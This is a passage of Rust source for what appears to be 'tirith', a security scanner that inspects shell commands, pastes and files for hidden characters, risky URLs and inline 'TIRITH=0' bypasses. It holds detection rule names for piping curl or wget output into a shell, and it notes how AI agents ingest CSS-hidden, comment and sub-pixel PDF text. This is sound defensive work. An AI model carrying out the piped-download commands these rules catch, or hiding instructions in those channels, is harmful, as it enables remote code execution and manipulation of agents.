Skip to main content

tirith_core/
engine.rs

1use std::time::Instant;
2
3use crate::extract::{self, ScanContext};
4use crate::normalize;
5use crate::policy::Policy;
6use crate::tokenize::ShellType;
7use crate::verdict::{Finding, Timings, Verdict};
8
9/// Extract the raw path from a URL string before any normalization.
10fn extract_raw_path_from_url(raw: &str) -> Option<String> {
11    if let Some(idx) = raw.find("://") {
12        let after = &raw[idx + 3..];
13        if let Some(slash_idx) = after.find('/') {
14            // Find end of path (before ? or #)
15            let path_start = &after[slash_idx..];
16            let end = path_start.find(['?', '#']).unwrap_or(path_start.len());
17            return Some(path_start[..end].to_string());
18        }
19    }
20    None
21}
22
23/// Analysis context passed through the pipeline.
24pub struct AnalysisContext {
25    pub input: String,
26    pub shell: ShellType,
27    pub scan_context: ScanContext,
28    pub raw_bytes: Option<Vec<u8>>,
29    pub interactive: bool,
30    pub cwd: Option<String>,
31    /// File path being scanned (only populated for ScanContext::FileScan).
32    pub file_path: Option<std::path::PathBuf>,
33    /// Only populated for ScanContext::FileScan. When None, configfile checks use
34    /// `file_path`'s parent as implicit repo root.
35    pub repo_root: Option<String>,
36    /// True when `file_path` was explicitly provided by the user as a config file.
37    pub is_config_override: bool,
38    /// Clipboard HTML content for rich-text paste analysis.
39    /// Only populated when `tirith paste --html <path>` is used.
40    pub clipboard_html: Option<String>,
41}
42
43/// Check if a VAR=VALUE word is `TIRITH=0`, stripping optional surrounding quotes
44/// from the value (handles `TIRITH='0'` and `TIRITH="0"`).
45fn is_tirith_zero_assignment(word: &str) -> bool {
46    if let Some((name, raw_val)) = word.split_once('=') {
47        let val = raw_val.trim_matches(|c: char| c == '\'' || c == '"');
48        if name == "TIRITH" && val == "0" {
49            return true;
50        }
51    }
52    false
53}
54
55/// Check if the input contains an inline `TIRITH=0` bypass prefix.
56/// Handles POSIX bare prefix (`TIRITH=0 cmd`), env wrappers (`env -i TIRITH=0 cmd`),
57/// and PowerShell env syntax (`$env:TIRITH="0"; cmd`).
58fn find_inline_bypass(input: &str, shell: ShellType) -> bool {
59    use crate::tokenize;
60
61    let words = split_raw_words(input, shell);
62    if words.is_empty() {
63        return false;
64    }
65
66    // POSIX / Fish: VAR=VALUE prefix or env wrapper
67    // (Fish 3.1+ and all POSIX shells support `TIRITH=0 command`)
68
69    // Case 1: Leading VAR=VALUE assignments before the command
70    let mut idx = 0;
71    while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
72        if is_tirith_zero_assignment(&words[idx]) {
73            return true;
74        }
75        idx += 1;
76    }
77
78    // Case 2: First real word is `env` — parse env-style args
79    if idx < words.len() {
80        let cmd = words[idx].rsplit('/').next().unwrap_or(&words[idx]);
81        let cmd = cmd.trim_matches(|c: char| c == '\'' || c == '"');
82        if cmd == "env" {
83            idx += 1;
84            while idx < words.len() {
85                let w = &words[idx];
86                if w == "--" {
87                    idx += 1;
88                    // After --, remaining are VAR=VALUE or command
89                    break;
90                }
91                if tokenize::is_env_assignment(w) {
92                    if is_tirith_zero_assignment(w) {
93                        return true;
94                    }
95                    idx += 1;
96                    continue;
97                }
98                if w.starts_with('-') {
99                    if w.starts_with("--") {
100                        // Long flags: --unset=VAR (skip) or --unset VAR (skip next)
101                        if !w.contains('=') {
102                            idx += 2;
103                        } else {
104                            idx += 1;
105                        }
106                        continue;
107                    }
108                    // Short flags that take a separate value arg
109                    if w == "-u" || w == "-C" || w == "-S" {
110                        idx += 2;
111                        continue;
112                    }
113                    idx += 1;
114                    continue;
115                }
116                // Non-flag, non-assignment = the command, stop
117                break;
118            }
119            // Check remaining words after -- for TIRITH=0
120            while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
121                if is_tirith_zero_assignment(&words[idx]) {
122                    return true;
123                }
124                idx += 1;
125            }
126        }
127    }
128
129    // PowerShell: $env:TIRITH="0" or $env:TIRITH = "0" (before first ;)
130    if shell == ShellType::PowerShell {
131        for word in &words {
132            if is_powershell_tirith_bypass(word) {
133                return true;
134            }
135        }
136        // Multi-word: $env:TIRITH = "0" (space around =)
137        if words.len() >= 3 {
138            for window in words.windows(3) {
139                if is_powershell_env_ref(&window[0], "TIRITH")
140                    && window[1] == "="
141                    && strip_surrounding_quotes(&window[2]) == "0"
142                {
143                    return true;
144                }
145            }
146        }
147    }
148
149    // Cmd: "set TIRITH=0 & ..." or 'set "TIRITH=0" & ...'
150    // In cmd.exe, `set TIRITH="0"` stores the literal `"0"` (with quotes) as the
151    // value, so we must NOT strip inner quotes from the value. Only bare `TIRITH=0`
152    // and whole-token-quoted `"TIRITH=0"` are real bypasses.
153    if shell == ShellType::Cmd && words.len() >= 2 {
154        let first = words[0].to_lowercase();
155        if first == "set" {
156            let second = strip_double_quotes_only(&words[1]);
157            if let Some((name, val)) = second.split_once('=') {
158                if name == "TIRITH" && val == "0" {
159                    return true;
160                }
161            }
162        }
163    }
164
165    false
166}
167
168/// Check if a word is `$env:TIRITH=0` with optional quotes around the value.
169/// The `$env:` prefix is matched case-insensitively (PowerShell convention).
170fn is_powershell_tirith_bypass(word: &str) -> bool {
171    if !word.starts_with('$') || word.len() < "$env:TIRITH=0".len() {
172        return false;
173    }
174    let after_dollar = &word[1..];
175    if !after_dollar
176        .get(..4)
177        .is_some_and(|s| s.eq_ignore_ascii_case("env:"))
178    {
179        return false;
180    }
181    let after_env = &after_dollar[4..];
182    if !after_env
183        .get(..7)
184        .is_some_and(|s| s.eq_ignore_ascii_case("TIRITH="))
185    {
186        return false;
187    }
188    let value = &after_env[7..];
189    strip_surrounding_quotes(value) == "0"
190}
191
192/// Check if a word is a PowerShell env var reference `$env:VARNAME` (no assignment).
193fn is_powershell_env_ref(word: &str, var_name: &str) -> bool {
194    if !word.starts_with('$') {
195        return false;
196    }
197    let after_dollar = &word[1..];
198    if !after_dollar
199        .get(..4)
200        .is_some_and(|s| s.eq_ignore_ascii_case("env:"))
201    {
202        return false;
203    }
204    after_dollar[4..].eq_ignore_ascii_case(var_name)
205}
206
207/// Strip a single layer of matching quotes (single or double) from a string.
208fn strip_surrounding_quotes(s: &str) -> &str {
209    if s.len() >= 2
210        && ((s.starts_with('"') && s.ends_with('"')) || (s.starts_with('\'') && s.ends_with('\'')))
211    {
212        &s[1..s.len() - 1]
213    } else {
214        s
215    }
216}
217
218/// Strip a single layer of matching double quotes only. For Cmd, single quotes are literal.
219fn strip_double_quotes_only(s: &str) -> &str {
220    if s.len() >= 2 && s.starts_with('"') && s.ends_with('"') {
221        &s[1..s.len() - 1]
222    } else {
223        s
224    }
225}
226
227/// Split input into raw words respecting quotes (for bypass/self-invocation parsing).
228/// Unlike tokenize(), this doesn't split on pipes/semicolons — just whitespace-splits
229/// the raw input to inspect the first segment's words.
230///
231/// Shell-aware: POSIX uses backslash as escape inside double-quotes and bare context;
232/// PowerShell uses backtick (`` ` ``) instead.
233fn split_raw_words(input: &str, shell: ShellType) -> Vec<String> {
234    let escape_char = match shell {
235        ShellType::PowerShell => '`',
236        ShellType::Cmd => '^',
237        _ => '\\',
238    };
239
240    // Take only up to the first unquoted pipe/semicolon/&&/||
241    let mut words = Vec::new();
242    let mut current = String::new();
243    let chars: Vec<char> = input.chars().collect();
244    let len = chars.len();
245    let mut i = 0;
246
247    while i < len {
248        let ch = chars[i];
249        match ch {
250            ' ' | '\t' if !current.is_empty() => {
251                words.push(current.clone());
252                current.clear();
253                i += 1;
254                while i < len && (chars[i] == ' ' || chars[i] == '\t') {
255                    i += 1;
256                }
257            }
258            ' ' | '\t' => {
259                i += 1;
260            }
261            '|' | '\n' | '&' => break, // Stop at segment boundary
262            ';' if shell != ShellType::Cmd => break,
263            '\'' if shell != ShellType::Cmd => {
264                current.push(ch);
265                i += 1;
266                while i < len && chars[i] != '\'' {
267                    current.push(chars[i]);
268                    i += 1;
269                }
270                if i < len {
271                    current.push(chars[i]);
272                    i += 1;
273                }
274            }
275            '"' => {
276                current.push(ch);
277                i += 1;
278                while i < len && chars[i] != '"' {
279                    if chars[i] == escape_char && i + 1 < len {
280                        current.push(chars[i]);
281                        current.push(chars[i + 1]);
282                        i += 2;
283                    } else {
284                        current.push(chars[i]);
285                        i += 1;
286                    }
287                }
288                if i < len {
289                    current.push(chars[i]);
290                    i += 1;
291                }
292            }
293            c if c == escape_char && i + 1 < len => {
294                current.push(chars[i]);
295                current.push(chars[i + 1]);
296                i += 2;
297            }
298            _ => {
299                current.push(ch);
300                i += 1;
301            }
302        }
303    }
304    if !current.is_empty() {
305        words.push(current);
306    }
307    words
308}
309
310/// Check if input contains an unquoted `&` (backgrounding operator).
311fn has_unquoted_ampersand(input: &str, shell: ShellType) -> bool {
312    let escape_char = match shell {
313        ShellType::PowerShell => '`',
314        ShellType::Cmd => '^',
315        _ => '\\',
316    };
317    let chars: Vec<char> = input.chars().collect();
318    let len = chars.len();
319    let mut i = 0;
320    while i < len {
321        match chars[i] {
322            '\'' if shell != ShellType::Cmd => {
323                i += 1;
324                while i < len && chars[i] != '\'' {
325                    i += 1;
326                }
327                if i < len {
328                    i += 1;
329                }
330            }
331            '"' => {
332                i += 1;
333                while i < len && chars[i] != '"' {
334                    if chars[i] == escape_char && i + 1 < len {
335                        i += 2;
336                    } else {
337                        i += 1;
338                    }
339                }
340                if i < len {
341                    i += 1;
342                }
343            }
344            c if c == escape_char && i + 1 < len => {
345                i += 2; // skip escaped char
346            }
347            '&' => return true,
348            _ => i += 1,
349        }
350    }
351    false
352}
353
354/// Check if the input is a self-invocation of tirith (single-segment only).
355/// Returns true if the resolved command is `tirith` itself.
356fn is_self_invocation(input: &str, shell: ShellType) -> bool {
357    use crate::tokenize;
358
359    // Must be single segment (no pipes, &&, etc.)
360    let segments = tokenize::tokenize(input, shell);
361    if segments.len() != 1 {
362        return false;
363    }
364
365    // Reject if input contains unquoted `&` — backgrounding creates a separate
366    // command after the `&` that would bypass analysis (tokenize_posix does not
367    // treat single `&` as a segment separator, so the segments check above misses it).
368    if has_unquoted_ampersand(input, shell) {
369        return false;
370    }
371
372    let words = split_raw_words(input, shell);
373    if words.is_empty() {
374        return false;
375    }
376
377    // Skip leading VAR=VALUE
378    let mut idx = 0;
379    while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
380        idx += 1;
381    }
382    if idx >= words.len() {
383        return false;
384    }
385
386    let cmd = &words[idx];
387    let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd);
388    let cmd_base = cmd_base.trim_matches(|c: char| c == '\'' || c == '"');
389
390    // Try to resolve wrappers (one level)
391    let resolved = match cmd_base {
392        "env" => resolve_env_wrapper(&words[idx + 1..]),
393        "command" => resolve_command_wrapper(&words[idx + 1..]),
394        "time" => resolve_time_wrapper(&words[idx + 1..]),
395        other => Some(other.to_string()),
396    };
397
398    match resolved {
399        Some(ref cmd_name) => is_tirith_command(cmd_name),
400        None => false,
401    }
402}
403
404/// Resolve through `env` wrapper: skip options, VAR=VALUE, find command.
405fn resolve_env_wrapper(args: &[String]) -> Option<String> {
406    use crate::tokenize;
407    let mut i = 0;
408    while i < args.len() {
409        let w = &args[i];
410        if w == "--" {
411            i += 1;
412            break;
413        }
414        if tokenize::is_env_assignment(w) {
415            i += 1;
416            continue;
417        }
418        if w.starts_with('-') {
419            if w.starts_with("--") {
420                // Long flags: --unset=VAR (skip) or --unset VAR (skip next)
421                if !w.contains('=') {
422                    i += 2;
423                } else {
424                    i += 1;
425                }
426                continue;
427            }
428            // Short flags that take a separate value arg
429            if w == "-u" || w == "-C" || w == "-S" {
430                i += 2;
431                continue;
432            }
433            i += 1;
434            continue;
435        }
436        // First non-option, non-assignment is the command
437        return Some(w.rsplit('/').next().unwrap_or(w).to_string());
438    }
439    // After --, skip remaining VAR=VALUE to find command
440    while i < args.len() {
441        let w = &args[i];
442        if tokenize::is_env_assignment(w) {
443            i += 1;
444            continue;
445        }
446        return Some(w.rsplit('/').next().unwrap_or(w).to_string());
447    }
448    None
449}
450
451/// Resolve through `command` wrapper: skip flags like -v, -p, -V, then `--`, take next arg.
452fn resolve_command_wrapper(args: &[String]) -> Option<String> {
453    let mut i = 0;
454    // Skip flags like -v, -p, -V
455    while i < args.len() && args[i].starts_with('-') && args[i] != "--" {
456        i += 1;
457    }
458    // Skip -- if present
459    if i < args.len() && args[i] == "--" {
460        i += 1;
461    }
462    if i < args.len() {
463        let w = &args[i];
464        Some(w.rsplit('/').next().unwrap_or(w).to_string())
465    } else {
466        None
467    }
468}
469
470/// Resolve through `time` wrapper: skip -prefixed flags, take next non-flag.
471fn resolve_time_wrapper(args: &[String]) -> Option<String> {
472    let mut i = 0;
473    while i < args.len() {
474        let w = &args[i];
475        if w == "--" {
476            i += 1;
477            break;
478        }
479        if w.starts_with('-') {
480            // -f/--format and -o/--output consume the next argument
481            if w == "-f" || w == "--format" || w == "-o" || w == "--output" {
482                i += 2;
483            } else if w.starts_with("--") && w.contains('=') {
484                i += 1; // --format=FMT, --output=FILE — single token
485            } else {
486                i += 1;
487            }
488            continue;
489        }
490        return Some(w.rsplit('/').next().unwrap_or(w).to_string());
491    }
492    // After `--`, the next arg is the command
493    if i < args.len() {
494        let w = &args[i];
495        return Some(w.rsplit('/').next().unwrap_or(w).to_string());
496    }
497    None
498}
499
500/// Check if a command name is tirith (literal match).
501/// Note: callers already strip path prefixes via rsplit('/'), so only basename arrives here.
502fn is_tirith_command(cmd: &str) -> bool {
503    cmd == "tirith"
504}
505
506/// Run the tiered analysis pipeline.
507pub fn analyze(ctx: &AnalysisContext) -> Verdict {
508    let start = Instant::now();
509
510    // Tier 0: Check bypass flag
511    let tier0_start = Instant::now();
512    let bypass_env = std::env::var("TIRITH").ok().as_deref() == Some("0");
513    let bypass_inline = find_inline_bypass(&ctx.input, ctx.shell);
514    let bypass_requested = bypass_env || bypass_inline;
515    let tier0_ms = tier0_start.elapsed().as_secs_f64() * 1000.0;
516
517    // Tier 1: Fast scan (no I/O)
518    let tier1_start = Instant::now();
519
520    // Step 1 (paste only): byte-level scan for control chars
521    let byte_scan_triggered = if ctx.scan_context == ScanContext::Paste {
522        if let Some(ref bytes) = ctx.raw_bytes {
523            let scan = extract::scan_bytes(bytes);
524            scan.has_ansi_escapes
525                || scan.has_control_chars
526                || scan.has_bidi_controls
527                || scan.has_zero_width
528                || scan.has_invalid_utf8
529                || scan.has_unicode_tags
530                || scan.has_variation_selectors
531                || scan.has_invisible_math_operators
532                || scan.has_invisible_whitespace
533        } else {
534            false
535        }
536    } else {
537        false
538    };
539
540    // Step 2: URL-like regex scan
541    let regex_triggered = extract::tier1_scan(&ctx.input, ctx.scan_context);
542
543    // Step 3 (exec only): check for bidi/zero-width/invisible chars even without URLs
544    let exec_bidi_triggered = if ctx.scan_context == ScanContext::Exec {
545        let scan = extract::scan_bytes(ctx.input.as_bytes());
546        scan.has_bidi_controls
547            || scan.has_zero_width
548            || scan.has_unicode_tags
549            || scan.has_variation_selectors
550            || scan.has_invisible_math_operators
551            || scan.has_invisible_whitespace
552    } else {
553        false
554    };
555
556    let tier1_ms = tier1_start.elapsed().as_secs_f64() * 1000.0;
557
558    // If nothing triggered, fast exit
559    if !byte_scan_triggered && !regex_triggered && !exec_bidi_triggered {
560        let total_ms = start.elapsed().as_secs_f64() * 1000.0;
561        return Verdict::allow_fast(
562            1,
563            Timings {
564                tier0_ms,
565                tier1_ms,
566                tier2_ms: None,
567                tier3_ms: None,
568                total_ms,
569            },
570        );
571    }
572
573    // Self-invocation guard: allow tirith's own commands (single-segment only)
574    if ctx.scan_context == ScanContext::Exec && is_self_invocation(&ctx.input, ctx.shell) {
575        let total_ms = start.elapsed().as_secs_f64() * 1000.0;
576        return Verdict::allow_fast(
577            1,
578            Timings {
579                tier0_ms,
580                tier1_ms,
581                tier2_ms: None,
582                tier3_ms: None,
583                total_ms,
584            },
585        );
586    }
587
588    // Tier 2: Policy + data loading (deferred I/O)
589    let tier2_start = Instant::now();
590
591    if bypass_requested {
592        // Load partial policy to check bypass settings
593        let policy = Policy::discover_partial(ctx.cwd.as_deref());
594        let allow_bypass = if ctx.interactive {
595            policy.allow_bypass_env
596        } else {
597            policy.allow_bypass_env_noninteractive
598        };
599
600        if allow_bypass {
601            let tier2_ms = tier2_start.elapsed().as_secs_f64() * 1000.0;
602            let total_ms = start.elapsed().as_secs_f64() * 1000.0;
603            let mut verdict = Verdict::allow_fast(
604                2,
605                Timings {
606                    tier0_ms,
607                    tier1_ms,
608                    tier2_ms: Some(tier2_ms),
609                    tier3_ms: None,
610                    total_ms,
611                },
612            );
613            verdict.bypass_requested = true;
614            verdict.bypass_honored = true;
615            verdict.interactive_detected = ctx.interactive;
616            verdict.policy_path_used = policy.path.clone();
617            // Log bypass to audit (include custom DLP patterns from partial policy)
618            crate::audit::log_verdict(
619                &verdict,
620                &ctx.input,
621                None,
622                None,
623                &policy.dlp_custom_patterns,
624            );
625            return verdict;
626        }
627    }
628
629    let mut policy = Policy::discover(ctx.cwd.as_deref());
630    policy.load_user_lists();
631    policy.load_org_lists(ctx.cwd.as_deref());
632    let tier2_ms = tier2_start.elapsed().as_secs_f64() * 1000.0;
633
634    // Tier 3: Full analysis
635    let tier3_start = Instant::now();
636    let mut findings = Vec::new();
637
638    // Track extracted URLs for allowlist/blocklist (Exec/Paste only)
639    let mut extracted = Vec::new();
640
641    if ctx.scan_context == ScanContext::FileScan {
642        // FileScan: byte scan + configfile rules ONLY.
643        // Does NOT run command/env/URL-extraction rules.
644        let byte_input = if let Some(ref bytes) = ctx.raw_bytes {
645            bytes.as_slice()
646        } else {
647            ctx.input.as_bytes()
648        };
649        let byte_findings = crate::rules::terminal::check_bytes(byte_input);
650        findings.extend(byte_findings);
651
652        // Config file detection rules
653        findings.extend(crate::rules::configfile::check(
654            &ctx.input,
655            ctx.file_path.as_deref(),
656            ctx.repo_root.as_deref().map(std::path::Path::new),
657            ctx.is_config_override,
658        ));
659
660        // Rendered content rules (file-type gated)
661        if crate::rules::rendered::is_renderable_file(ctx.file_path.as_deref()) {
662            // PDF files get their own parser
663            let is_pdf = ctx
664                .file_path
665                .as_deref()
666                .and_then(|p| p.extension())
667                .and_then(|e| e.to_str())
668                .map(|e| e.eq_ignore_ascii_case("pdf"))
669                .unwrap_or(false);
670
671            if is_pdf {
672                let pdf_bytes = ctx.raw_bytes.as_deref().unwrap_or(ctx.input.as_bytes());
673                findings.extend(crate::rules::rendered::check_pdf(pdf_bytes));
674            } else {
675                findings.extend(crate::rules::rendered::check(
676                    &ctx.input,
677                    ctx.file_path.as_deref(),
678                ));
679            }
680        }
681    } else {
682        // Exec/Paste: standard pipeline
683
684        // Run byte-level rules for paste context
685        if ctx.scan_context == ScanContext::Paste {
686            if let Some(ref bytes) = ctx.raw_bytes {
687                let byte_findings = crate::rules::terminal::check_bytes(bytes);
688                findings.extend(byte_findings);
689            }
690            // Check for hidden multiline content in pasted text
691            let multiline_findings = crate::rules::terminal::check_hidden_multiline(&ctx.input);
692            findings.extend(multiline_findings);
693
694            // Check clipboard HTML for hidden content (rich-text paste analysis)
695            if let Some(ref html) = ctx.clipboard_html {
696                let clipboard_findings =
697                    crate::rules::terminal::check_clipboard_html(html, &ctx.input);
698                findings.extend(clipboard_findings);
699            }
700        }
701
702        // Invisible character checks apply to both exec and paste contexts
703        if ctx.scan_context == ScanContext::Exec {
704            let byte_input = ctx.input.as_bytes();
705            let scan = extract::scan_bytes(byte_input);
706            if scan.has_bidi_controls
707                || scan.has_zero_width
708                || scan.has_unicode_tags
709                || scan.has_variation_selectors
710                || scan.has_invisible_math_operators
711                || scan.has_invisible_whitespace
712            {
713                let byte_findings = crate::rules::terminal::check_bytes(byte_input);
714                // Only keep invisible-char findings for exec context
715                findings.extend(byte_findings.into_iter().filter(|f| {
716                    matches!(
717                        f.rule_id,
718                        crate::verdict::RuleId::BidiControls
719                            | crate::verdict::RuleId::ZeroWidthChars
720                            | crate::verdict::RuleId::UnicodeTags
721                            | crate::verdict::RuleId::InvisibleMathOperator
722                            | crate::verdict::RuleId::VariationSelector
723                            | crate::verdict::RuleId::InvisibleWhitespace
724                    )
725                }));
726            }
727        }
728
729        // Extract and analyze URLs
730        extracted = extract::extract_urls(&ctx.input, ctx.shell);
731
732        for url_info in &extracted {
733            // Normalize path if available — use raw extracted URL's path for non-ASCII detection
734            // since url::Url percent-encodes non-ASCII during parsing
735            let raw_path = extract_raw_path_from_url(&url_info.raw);
736            let normalized_path = url_info.parsed.path().map(normalize::normalize_path);
737
738            // Run all rule categories
739            let hostname_findings = crate::rules::hostname::check(&url_info.parsed, &policy);
740            findings.extend(hostname_findings);
741
742            let path_findings = crate::rules::path::check(
743                &url_info.parsed,
744                normalized_path.as_ref(),
745                raw_path.as_deref(),
746            );
747            findings.extend(path_findings);
748
749            let transport_findings =
750                crate::rules::transport::check(&url_info.parsed, url_info.in_sink_context);
751            findings.extend(transport_findings);
752
753            let ecosystem_findings = crate::rules::ecosystem::check(&url_info.parsed);
754            findings.extend(ecosystem_findings);
755        }
756
757        // Run command-shape rules on full input
758        let command_findings = crate::rules::command::check(
759            &ctx.input,
760            ctx.shell,
761            ctx.cwd.as_deref(),
762            ctx.scan_context,
763        );
764        findings.extend(command_findings);
765
766        // Run environment rules
767        let env_findings = crate::rules::environment::check(&crate::rules::environment::RealEnv);
768        findings.extend(env_findings);
769
770        // Policy-driven network deny/allow (Team feature)
771        if crate::license::current_tier() >= crate::license::Tier::Team
772            && !policy.network_deny.is_empty()
773        {
774            let net_findings = crate::rules::command::check_network_policy(
775                &ctx.input,
776                ctx.shell,
777                &policy.network_deny,
778                &policy.network_allow,
779            );
780            findings.extend(net_findings);
781        }
782    }
783
784    // Custom YAML detection rules (Team-only, Phase 24)
785    if crate::license::current_tier() >= crate::license::Tier::Team
786        && !policy.custom_rules.is_empty()
787    {
788        let compiled = crate::rules::custom::compile_rules(&policy.custom_rules);
789        let custom_findings = crate::rules::custom::check(&ctx.input, ctx.scan_context, &compiled);
790        findings.extend(custom_findings);
791    }
792
793    // Apply policy severity overrides
794    for finding in &mut findings {
795        if let Some(override_sev) = policy.severity_override(&finding.rule_id) {
796            finding.severity = override_sev;
797        }
798    }
799
800    // Filter by allowlist/blocklist
801    // Blocklist: if any extracted URL matches blocklist, escalate to Block
802    for url_info in &extracted {
803        if policy.is_blocklisted(&url_info.raw) {
804            findings.push(Finding {
805                rule_id: crate::verdict::RuleId::PolicyBlocklisted,
806                severity: crate::verdict::Severity::Critical,
807                title: "URL matches blocklist".to_string(),
808                description: format!("URL '{}' matches a blocklist pattern", url_info.raw),
809                evidence: vec![crate::verdict::Evidence::Url {
810                    raw: url_info.raw.clone(),
811                }],
812                human_view: None,
813                agent_view: None,
814                mitre_id: None,
815                custom_rule_id: None,
816            });
817        }
818    }
819
820    // Allowlist: remove findings for URLs that match allowlist
821    // (blocklist takes precedence — if blocklisted, findings remain)
822    if !policy.allowlist.is_empty() {
823        let blocklisted_urls: Vec<String> = extracted
824            .iter()
825            .filter(|u| policy.is_blocklisted(&u.raw))
826            .map(|u| u.raw.clone())
827            .collect();
828
829        findings.retain(|f| {
830            // Keep all findings that aren't URL-based
831            let url_in_evidence = f.evidence.iter().find_map(|e| {
832                if let crate::verdict::Evidence::Url { raw } = e {
833                    Some(raw.clone())
834                } else {
835                    None
836                }
837            });
838            match url_in_evidence {
839                Some(ref url) => {
840                    // Keep if blocklisted, otherwise drop if allowlisted
841                    blocklisted_urls.contains(url) || !policy.is_allowlisted(url)
842                }
843                None => true, // Keep non-URL findings
844            }
845        });
846    }
847
848    // Enrichment pass (ADR-13): detection is free, enrichment is paid.
849    // All detection rules have already run above. Now add tier-gated enrichment.
850    let tier = crate::license::current_tier();
851    if tier >= crate::license::Tier::Pro {
852        enrich_pro(&mut findings);
853    }
854    if tier >= crate::license::Tier::Team {
855        enrich_team(&mut findings);
856    }
857
858    // Early access filter (ADR-14): suppress non-critical findings for rules
859    // in time-boxed early access windows when tier is below the minimum.
860    crate::rule_metadata::filter_early_access(&mut findings, tier);
861
862    let tier3_ms = tier3_start.elapsed().as_secs_f64() * 1000.0;
863    let total_ms = start.elapsed().as_secs_f64() * 1000.0;
864
865    let mut verdict = Verdict::from_findings(
866        findings,
867        3,
868        Timings {
869            tier0_ms,
870            tier1_ms,
871            tier2_ms: Some(tier2_ms),
872            tier3_ms: Some(tier3_ms),
873            total_ms,
874        },
875    );
876    verdict.bypass_requested = bypass_requested;
877    verdict.interactive_detected = ctx.interactive;
878    verdict.policy_path_used = policy.path.clone();
879    verdict.urls_extracted_count = Some(extracted.len());
880
881    verdict
882}
883
884// ---------------------------------------------------------------------------
885// Paranoia tier filtering (Phase 15)
886// ---------------------------------------------------------------------------
887
888/// Filter a verdict's findings by paranoia level and license tier.
889///
890/// This is an output-layer filter — the engine always detects everything (ADR-13).
891/// CLI/MCP call this after `analyze()` to reduce noise at lower paranoia levels.
892///
893/// - Paranoia 1-2 (any tier): Medium+ findings only
894/// - Paranoia 3 (Pro required): also show Low findings
895/// - Paranoia 4 (Pro required): also show Info findings
896///
897/// Free-tier users are capped at effective paranoia 2 regardless of policy setting.
898pub fn filter_findings_by_paranoia(verdict: &mut Verdict, paranoia: u8) {
899    retain_by_paranoia(&mut verdict.findings, paranoia);
900    verdict.action = recalculate_action(&verdict.findings);
901}
902
903/// Filter a Vec<Finding> by paranoia level and license tier.
904/// Same logic as `filter_findings_by_paranoia` but operates on raw findings
905/// (for scan results that don't use the Verdict wrapper).
906pub fn filter_findings_by_paranoia_vec(findings: &mut Vec<Finding>, paranoia: u8) {
907    retain_by_paranoia(findings, paranoia);
908}
909
910/// Recalculate verdict action from the current findings (same logic as `Verdict::from_findings`).
911fn recalculate_action(findings: &[Finding]) -> crate::verdict::Action {
912    use crate::verdict::{Action, Severity};
913    if findings.is_empty() {
914        return Action::Allow;
915    }
916    let max_severity = findings
917        .iter()
918        .map(|f| f.severity)
919        .max()
920        .unwrap_or(Severity::Low);
921    match max_severity {
922        Severity::Critical | Severity::High => Action::Block,
923        Severity::Medium | Severity::Low => Action::Warn,
924        Severity::Info => Action::Allow,
925    }
926}
927
928/// Shared paranoia retention logic.
929fn retain_by_paranoia(findings: &mut Vec<Finding>, paranoia: u8) {
930    let tier = crate::license::current_tier();
931    let effective = if tier >= crate::license::Tier::Pro {
932        paranoia.min(4)
933    } else {
934        paranoia.min(2) // Free users capped at 2
935    };
936
937    findings.retain(|f| match f.severity {
938        crate::verdict::Severity::Info => effective >= 4,
939        crate::verdict::Severity::Low => effective >= 3,
940        _ => true, // Medium/High/Critical always shown
941    });
942}
943
944// ---------------------------------------------------------------------------
945// Tier-gated enrichment (ADR-13: detect free, enrich paid)
946// ---------------------------------------------------------------------------
947
948/// Pro enrichment: dual-view, decoded content, cloaking diffs, line numbers.
949fn enrich_pro(findings: &mut [Finding]) {
950    for finding in findings.iter_mut() {
951        match finding.rule_id {
952            // Rendered content findings: show what human sees vs what agent processes
953            crate::verdict::RuleId::HiddenCssContent => {
954                finding.human_view =
955                    Some("Content hidden via CSS — invisible in rendered view".into());
956                finding.agent_view = Some(format!(
957                    "AI agent sees full text including CSS-hidden content. {}",
958                    evidence_summary(&finding.evidence)
959                ));
960            }
961            crate::verdict::RuleId::HiddenColorContent => {
962                finding.human_view =
963                    Some("Text blends with background — invisible to human eye".into());
964                finding.agent_view = Some(format!(
965                    "AI agent reads text regardless of color contrast. {}",
966                    evidence_summary(&finding.evidence)
967                ));
968            }
969            crate::verdict::RuleId::HiddenHtmlAttribute => {
970                finding.human_view =
971                    Some("Elements marked hidden/aria-hidden — not displayed".into());
972                finding.agent_view = Some(format!(
973                    "AI agent processes hidden element content. {}",
974                    evidence_summary(&finding.evidence)
975                ));
976            }
977            crate::verdict::RuleId::HtmlComment => {
978                finding.human_view = Some("HTML comments not rendered in browser".into());
979                finding.agent_view = Some(format!(
980                    "AI agent reads comment content as context. {}",
981                    evidence_summary(&finding.evidence)
982                ));
983            }
984            crate::verdict::RuleId::MarkdownComment => {
985                finding.human_view = Some("Markdown comments not rendered in preview".into());
986                finding.agent_view = Some(format!(
987                    "AI agent processes markdown comment content. {}",
988                    evidence_summary(&finding.evidence)
989                ));
990            }
991            crate::verdict::RuleId::PdfHiddenText => {
992                finding.human_view = Some("Sub-pixel text invisible in PDF viewer".into());
993                finding.agent_view = Some(format!(
994                    "AI agent extracts all text including sub-pixel content. {}",
995                    evidence_summary(&finding.evidence)
996                ));
997            }
998            crate::verdict::RuleId::ClipboardHidden => {
999                finding.human_view =
1000                    Some("Hidden content in clipboard HTML not visible in paste preview".into());
1001                finding.agent_view = Some(format!(
1002                    "AI agent processes full clipboard including hidden HTML. {}",
1003                    evidence_summary(&finding.evidence)
1004                ));
1005            }
1006            _ => {}
1007        }
1008    }
1009}
1010
1011/// Summarize evidence entries for enrichment text.
1012fn evidence_summary(evidence: &[crate::verdict::Evidence]) -> String {
1013    let details: Vec<&str> = evidence
1014        .iter()
1015        .filter_map(|e| {
1016            if let crate::verdict::Evidence::Text { detail } = e {
1017                Some(detail.as_str())
1018            } else {
1019                None
1020            }
1021        })
1022        .take(3)
1023        .collect();
1024    if details.is_empty() {
1025        String::new()
1026    } else {
1027        format!("Details: {}", details.join("; "))
1028    }
1029}
1030
1031/// MITRE ATT&CK technique mapping for built-in rules.
1032fn mitre_id_for_rule(rule_id: crate::verdict::RuleId) -> Option<&'static str> {
1033    use crate::verdict::RuleId;
1034    match rule_id {
1035        // Execution
1036        RuleId::PipeToInterpreter
1037        | RuleId::CurlPipeShell
1038        | RuleId::WgetPipeShell
1039        | RuleId::HttpiePipeShell
1040        | RuleId::XhPipeShell => Some("T1059.004"), // Command and Scripting Interpreter: Unix Shell
1041
1042        // Persistence
